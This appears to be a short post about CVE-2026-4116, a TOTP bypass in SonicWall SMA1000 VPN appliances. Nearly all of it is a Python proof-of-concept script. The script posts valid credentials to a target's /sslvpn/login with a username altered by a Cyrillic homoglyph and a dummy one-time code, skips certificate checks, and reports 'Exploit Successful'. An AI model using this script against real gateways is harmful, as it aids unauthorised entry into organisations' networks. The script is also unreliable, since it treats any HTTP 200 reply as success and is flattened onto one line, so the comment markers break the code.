CVE-2026-4116: SonicWall SMA1000 TOTP认证绕过漏洞

import requests # This is a conceptual PoC for CVE-2026-4116 # It demonstrates bypassing TOTP via Unicode manipulation target = "https://<target-ip>/sslvpn/login" username = "valid_user" password = "valid_password" # Attempt to bypass by injecting Unicode characters that normalize differently # Example: replacing standard characters with visually similar unicode chars payload_username = username.replace('a', '\u0430') # Cyrillic 'a' payload = { "username": payload_username, "password": password, "totp": "000000" # Invalid or empty TOTP } try: response = requests.post(target, data=payload, verify=False, timeout=10) if "dashboard" in response.text or response.status_code == 200: print("[+] Exploit Successful: TOTP Bypassed.") else: print("[-] Exploit Failed.") except Exception as e: print(f"Error: {e}")